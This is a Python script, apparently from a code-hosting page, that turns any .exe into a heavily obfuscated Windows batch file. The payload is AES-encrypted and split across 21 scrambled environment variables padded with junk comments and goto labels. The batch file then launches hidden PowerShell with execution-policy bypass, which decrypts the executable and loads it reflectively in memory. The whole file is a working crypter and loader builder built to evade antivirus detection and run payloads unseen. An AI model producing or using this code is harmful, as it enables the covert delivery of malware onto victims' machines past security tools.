397 lines
15 KiB
Python
397 lines
15 KiB
Python
#!/usr/bin/env python3
|
|
|
|
import random
|
|
import string
|
|
import base64
|
|
import os
|
|
from pathlib import Path
|
|
from Crypto.Cipher import AES
|
|
from Crypto.Util.Padding import pad
|
|
from Crypto.Random import get_random_bytes
|
|
|
|
|
|
class CompleteBatchObfuscator:
|
|
|
|
def __init__(self, exe_path, output_path='obfuscated_output.bat'):
|
|
self.exe_path = Path(exe_path)
|
|
self.output_path = Path(output_path)
|
|
self.exe_name = self.exe_path.name
|
|
|
|
self.used_names = set()
|
|
|
|
self.aes_key = None
|
|
self.iv = None
|
|
self.encrypted_data = None
|
|
self.base64_segments = []
|
|
self.segment_var_names = []
|
|
self.order_fragment_vars = {}
|
|
self.powershell_chain_vars = []
|
|
self.labels = []
|
|
self.junk_words = []
|
|
|
|
print(f"init: {self.exe_name}")
|
|
|
|
def generate_random_var_name(self, length=8, allow_special=False):
|
|
while True:
|
|
chars = string.ascii_letters + string.digits
|
|
name = ''.join(random.choice(chars) for _ in range(length))
|
|
|
|
if name[0].isdigit():
|
|
name = random.choice(string.ascii_letters) + name[1:]
|
|
|
|
if name not in self.used_names:
|
|
self.used_names.add(name)
|
|
return name
|
|
|
|
def generate_random_label(self):
|
|
length = random.randint(6, 12)
|
|
chars = string.ascii_letters + string.digits
|
|
label = ''.join(random.choice(chars) for _ in range(length))
|
|
|
|
if label[0].isdigit():
|
|
label = random.choice(string.ascii_letters) + label[1:]
|
|
|
|
return label
|
|
|
|
def generate_junk_words(self, count=200):
|
|
syllables = ['ka', 'ra', 'ta', 'na', 'ma', 'pa', 'ba', 'za', 'la', 'da',
|
|
'ko', 'ro', 'to', 'no', 'mo', 'po', 'bo', 'zo', 'lo', 'do',
|
|
'ki', 'ri', 'ti', 'ni', 'mi', 'pi', 'bi', 'zi', 'li', 'di']
|
|
|
|
words = []
|
|
for _ in range(count):
|
|
word_len = random.randint(2, 4)
|
|
word = ''.join(random.choice(syllables) for _ in range(word_len))
|
|
words.append(word)
|
|
|
|
self.junk_words = words
|
|
return words
|
|
|
|
def generate_junk_line(self):
|
|
comment_type = random.choice(['rem', 'REM', 'Rem', '::'])
|
|
num_words = random.randint(3, 8)
|
|
words = random.sample(self.junk_words, min(num_words, len(self.junk_words)))
|
|
|
|
if random.random() < 0.3:
|
|
var = self.generate_random_var_name()
|
|
return f'%{var}%{comment_type}%{self.generate_random_var_name()}% {" ".join(words)}'
|
|
else:
|
|
return f'{comment_type} {" ".join(words)}'
|
|
|
|
def encrypt_exe_aes(self):
|
|
print(f"\naes encrypt")
|
|
print(f"=" * 60)
|
|
|
|
exe_data = self.exe_path.read_bytes()
|
|
print(f"read exe: {len(exe_data)} bytes")
|
|
|
|
self.aes_key = get_random_bytes(32)
|
|
self.iv = get_random_bytes(16)
|
|
print(f"key: {self.aes_key.hex()}")
|
|
print(f"iv: {self.iv.hex()}")
|
|
|
|
padded_data = pad(exe_data, AES.block_size)
|
|
print(f"padded: {len(padded_data)} bytes")
|
|
|
|
cipher = AES.new(self.aes_key, AES.MODE_CBC, self.iv)
|
|
encrypted = cipher.encrypt(padded_data)
|
|
print(f"encrypted: {len(encrypted)} bytes")
|
|
|
|
self.encrypted_data = self.iv + encrypted
|
|
print(f"total: {len(self.encrypted_data)} bytes")
|
|
|
|
return self.encrypted_data
|
|
|
|
def split_base64_into_segments(self):
|
|
print(f"\nb64 split")
|
|
print(f"=" * 60)
|
|
|
|
b64_data = base64.b64encode(self.encrypted_data).decode('ascii')
|
|
print(f"b64: {len(b64_data)} chars")
|
|
|
|
segment_size = len(b64_data) // 21
|
|
self.base64_segments = []
|
|
self.segment_var_names = []
|
|
|
|
for i in range(21):
|
|
start = i * segment_size
|
|
end = start + segment_size if i < 20 else len(b64_data)
|
|
segment = b64_data[start:end]
|
|
var_name = self.generate_random_var_name()
|
|
|
|
self.base64_segments.append(segment)
|
|
self.segment_var_names.append(var_name)
|
|
print(f"seg {i+1:2d}: {var_name:12s} = {len(segment)} chars")
|
|
|
|
print(f"made {len(self.base64_segments)} segments")
|
|
return self.base64_segments, self.segment_var_names
|
|
|
|
def create_order_obfuscation(self):
|
|
print(f"\norder obfuscation")
|
|
print(f"=" * 60)
|
|
|
|
order_list = '!'.join(self.segment_var_names)
|
|
print(f"order: {order_list[:100]}...")
|
|
print(f"len: {len(order_list)} chars")
|
|
|
|
num_fragments = random.randint(20, 25)
|
|
fragments = []
|
|
fragment_vars = []
|
|
|
|
parts = order_list.split('!')
|
|
parts_per_fragment = max(1, len(parts) // num_fragments)
|
|
|
|
for i in range(0, len(parts), parts_per_fragment):
|
|
fragment_parts = parts[i:i+parts_per_fragment]
|
|
fragment = '!'.join(fragment_parts)
|
|
if i + parts_per_fragment < len(parts):
|
|
fragment += '!'
|
|
|
|
var_name = self.generate_random_var_name(allow_special=True)
|
|
fragments.append(fragment)
|
|
fragment_vars.append(var_name)
|
|
self.order_fragment_vars[var_name] = fragment
|
|
print(f"frag {len(fragment_vars):2d}: {var_name:15s} = {fragment[:50]}...")
|
|
|
|
print(f"made {len(fragment_vars)} fragments")
|
|
|
|
line42_var_name = self.generate_random_var_name()
|
|
line42_content = ''.join(f'%{var}%' for var in fragment_vars)
|
|
|
|
print(f"line42 var: {line42_var_name}")
|
|
print(f"line42: {line42_content[:100]}...")
|
|
|
|
return line42_var_name, line42_content, fragment_vars
|
|
|
|
def create_powershell_command(self, order_var_name):
|
|
print(f"\nps command")
|
|
print(f"=" * 60)
|
|
|
|
key_bytes = ','.join(str(b) for b in self.aes_key)
|
|
|
|
ps_command = f"""$jPFh8Se4 = [System.Security.Cryptography.AESCryptoServiceProvider]::new();$jPFh8Se4.Mode = [System.Security.Cryptography.CipherMode]::CBC;$jPFh8Se4.Padding = [System.Security.Cryptography.PaddingMode]::PKCS7;$jPFh8Se4.Key = [byte[]]@({key_bytes});$wEAR7v = [Convert]::FromBase64String(-join ($env:{order_var_name}.Split('!')).ForEach({{(Get-Item "env:$_").Value}}));$jPFh8Se4.IV = $wEAR7v[0..15];$F9q72zl=$jPFh8Se4.CreateDecryptor();$4lKXVT9F4=$F9q72zl.TransformFinalBlock($wEAR7v[16..$wEAR7v.Length], 0,$wEAR7v.Length-16);$gEBOJ = [System.Reflection.Assembly]::Load($4lKXVT9F4);$gEBOJ.EntryPoint.Invoke($null, $null)"""
|
|
|
|
print(f"ps len: {len(ps_command)} chars")
|
|
print(f"reflective load (in-memory)")
|
|
print(f"first 200: {ps_command[:200]}...")
|
|
|
|
return ps_command
|
|
|
|
def create_powershell_chain(self, ps_command):
|
|
print(f"\nps chain")
|
|
print(f"=" * 60)
|
|
|
|
statements = ps_command.split(';')
|
|
|
|
num_parts = 7
|
|
statements_per_part = max(1, len(statements) // num_parts)
|
|
|
|
parts = []
|
|
for i in range(0, len(statements), statements_per_part):
|
|
part_statements = statements[i:i+statements_per_part]
|
|
part = ';'.join(part_statements)
|
|
parts.append(part)
|
|
|
|
if len(parts) > num_parts:
|
|
parts = parts[:num_parts-1] + [';'.join(parts[num_parts-1:])]
|
|
|
|
chain_vars = []
|
|
for i in range(min(len(parts), num_parts)):
|
|
var_name = self.generate_random_var_name()
|
|
chain_vars.append(var_name)
|
|
|
|
self.powershell_chain_vars = chain_vars
|
|
|
|
chain_values = {}
|
|
for i in range(len(chain_vars)):
|
|
if i < len(chain_vars) - 1:
|
|
value = parts[i] + f";iex $env:{chain_vars[i+1]}"
|
|
else:
|
|
value = parts[i]
|
|
|
|
chain_values[chain_vars[i]] = value
|
|
print(f"chain {i+1}: {chain_vars[i]:12s} -> {value[:80]}...")
|
|
|
|
print(f"made {len(chain_vars)}-step chain")
|
|
|
|
return chain_vars, chain_values
|
|
|
|
def obfuscate_string_with_vars(self, text, num_parts=None):
|
|
if num_parts is None:
|
|
num_parts = random.randint(4, 10)
|
|
|
|
part_size = len(text) // num_parts
|
|
parts = []
|
|
var_names = []
|
|
|
|
for i in range(num_parts):
|
|
start = i * part_size
|
|
end = start + part_size if i < num_parts - 1 else len(text)
|
|
part = text[start:end]
|
|
var_name = self.generate_random_var_name()
|
|
|
|
parts.append(part)
|
|
var_names.append(var_name)
|
|
|
|
return list(zip(var_names, parts))
|
|
|
|
def build_batch_file(self, line42_var, line42_content, fragment_vars, chain_vars, chain_values, order_var_name):
|
|
print(f"\nbatch assembly")
|
|
print(f"=" * 60)
|
|
|
|
lines = []
|
|
|
|
self.labels = [self.generate_random_label() for _ in range(random.randint(10, 15))]
|
|
self.generate_junk_words(200)
|
|
|
|
lines.append('@echo off')
|
|
|
|
for _ in range(2):
|
|
lines.append(self.generate_junk_line())
|
|
lines.append(f'goto :{self.labels[0]}')
|
|
for _ in range(3):
|
|
lines.append(self.generate_junk_line())
|
|
lines.append(f':{self.labels[0]}')
|
|
lines.append('')
|
|
|
|
exe_parts = self.obfuscate_string_with_vars(self.exe_name, num_parts=random.randint(5, 8))
|
|
for var, part in exe_parts:
|
|
set_cmd = random.choice(['set', 'SET', 'sEt', 'SeT', 'seT', 'sET'])
|
|
if random.random() < 0.7:
|
|
lines.append(f'{set_cmd} "{var}={part}"')
|
|
else:
|
|
lines.append(f'{set_cmd} {var}={part}')
|
|
exe_var_ref = ''.join(f'%{var}%' for var, _ in exe_parts)
|
|
|
|
for _ in range(random.randint(3, 6)):
|
|
lines.append(self.generate_junk_line())
|
|
lines.append(f'goto :{self.labels[1]}')
|
|
lines.append(self.generate_junk_line())
|
|
lines.append(f':{self.labels[1]}')
|
|
|
|
print(f"adding 21 b64 vars...")
|
|
for i, (var_name, segment) in enumerate(zip(self.segment_var_names, self.base64_segments)):
|
|
set_cmd = random.choice(['SET', 'set', 'sEt'])
|
|
lines.append(f'{set_cmd} {var_name}={segment}')
|
|
if (i + 1) % 5 == 0:
|
|
lines.append(self.generate_junk_line())
|
|
|
|
for _ in range(random.randint(2, 4)):
|
|
lines.append(self.generate_junk_line())
|
|
lines.append(f'goto :{self.labels[2]}')
|
|
lines.append(f':{self.labels[2]}')
|
|
|
|
print(f"adding order fragments...")
|
|
for var_name, fragment in self.order_fragment_vars.items():
|
|
set_cmd = random.choice(['set', 'SET', 'sEt'])
|
|
if random.random() < 0.5:
|
|
lines.append(f'{set_cmd} "{var_name}={fragment}"')
|
|
else:
|
|
lines.append(f'{set_cmd} "{var_name}={fragment}" && {self.generate_junk_line()}')
|
|
|
|
print(f"adding line 42...")
|
|
lines.append(f'SET "{order_var_name}={line42_content}"')
|
|
|
|
for _ in range(random.randint(2, 4)):
|
|
lines.append(self.generate_junk_line())
|
|
lines.append(f'goto :{self.labels[3]}')
|
|
lines.append(f':{self.labels[3]}')
|
|
|
|
print(f"adding ps chain...")
|
|
for var_name in reversed(chain_vars):
|
|
value = chain_values[var_name]
|
|
set_cmd = random.choice(['SET', 'set', 'sEt', 'SeT'])
|
|
lines.append(f'{set_cmd} "{var_name}={value}"')
|
|
|
|
print(f"adding exec cmd...")
|
|
lines.append(f'goto :{self.labels[4]}')
|
|
lines.append(f':{self.labels[4]}')
|
|
|
|
ps_parts = self.obfuscate_string_with_vars('powershell -ExecutionPolicy Bypass -WindowStyle Hidden -c')
|
|
for var, part in ps_parts:
|
|
set_cmd = random.choice(['set', 'SET'])
|
|
lines.append(f'{set_cmd} "{var}={part}"')
|
|
ps_ref = ''.join(f'%{var}%' for var, _ in ps_parts)
|
|
|
|
lines.append(f'{ps_ref} %{chain_vars[0]}%')
|
|
|
|
for i in range(5, len(self.labels)):
|
|
lines.append('')
|
|
if random.random() < 0.3 and i < len(self.labels) - 1:
|
|
lines.append(f'goto :{self.labels[i+1]}')
|
|
for _ in range(random.randint(2, 6)):
|
|
lines.append(self.generate_junk_line())
|
|
lines.append(f':{self.labels[i]}')
|
|
|
|
for _ in range(random.randint(5, 10)):
|
|
lines.append(self.generate_junk_line())
|
|
|
|
print(f"total lines: {len(lines)}")
|
|
|
|
return lines
|
|
|
|
def build(self):
|
|
print(f"\n{'='*60}")
|
|
print(f"batch obfuscator")
|
|
print(f"{'='*60}")
|
|
print(f"in: {self.exe_path}")
|
|
print(f"out: {self.output_path}")
|
|
|
|
self.encrypt_exe_aes()
|
|
self.split_base64_into_segments()
|
|
line42_var, line42_content, fragment_vars = self.create_order_obfuscation()
|
|
order_var_name = self.generate_random_var_name(length=12)
|
|
ps_command = self.create_powershell_command(order_var_name)
|
|
chain_vars, chain_values = self.create_powershell_chain(ps_command)
|
|
lines = self.build_batch_file(line42_var, line42_content, fragment_vars,
|
|
chain_vars, chain_values, order_var_name)
|
|
|
|
self.output_path.write_text('\n'.join(lines), encoding='utf-8')
|
|
|
|
print(f"\n{'='*60}")
|
|
print(f"done")
|
|
print(f"{'='*60}")
|
|
print(f"output: {self.output_path}")
|
|
print(f"lines: {len(lines)}")
|
|
print(f"vars: {len(self.used_names)}")
|
|
print(f" payload: {len(self.segment_var_names)}")
|
|
print(f" order: {len(self.order_fragment_vars)}")
|
|
print(f" ps chain: {len(chain_vars)}")
|
|
print(f" other: {len(self.used_names) - len(self.segment_var_names) - len(self.order_fragment_vars) - len(chain_vars)}")
|
|
print(f"labels: {len(self.labels)}")
|
|
print(f"junk: ~{len([l for l in lines if 'rem' in l.lower() or '::' in l])}")
|
|
print(f"key: {self.aes_key.hex()}")
|
|
print(f"iv: {self.iv.hex()}")
|
|
|
|
return self.output_path
|
|
|
|
|
|
def main():
|
|
import sys
|
|
|
|
print("=" * 60)
|
|
print("batch obfuscator")
|
|
print("=" * 60)
|
|
|
|
if len(sys.argv) < 2:
|
|
print("\nusage: python builder.py <input.exe> [output.bat]")
|
|
print("\nexample:")
|
|
print(" python builder.py myapp.exe obfuscated.bat")
|
|
sys.exit(1)
|
|
|
|
exe_file = sys.argv[1]
|
|
output_file = sys.argv[2] if len(sys.argv) > 2 else 'obfuscated_output.bat'
|
|
|
|
if not Path(exe_file).exists():
|
|
print(f"\nfile not found: {exe_file}")
|
|
sys.exit(1)
|
|
|
|
builder = CompleteBatchObfuscator(exe_file, output_file)
|
|
builder.build()
|
|
|
|
print(f"\ndone: {output_file}")
|
|
|
|
|
|
if __name__ == "__main__":
|
|
main()
|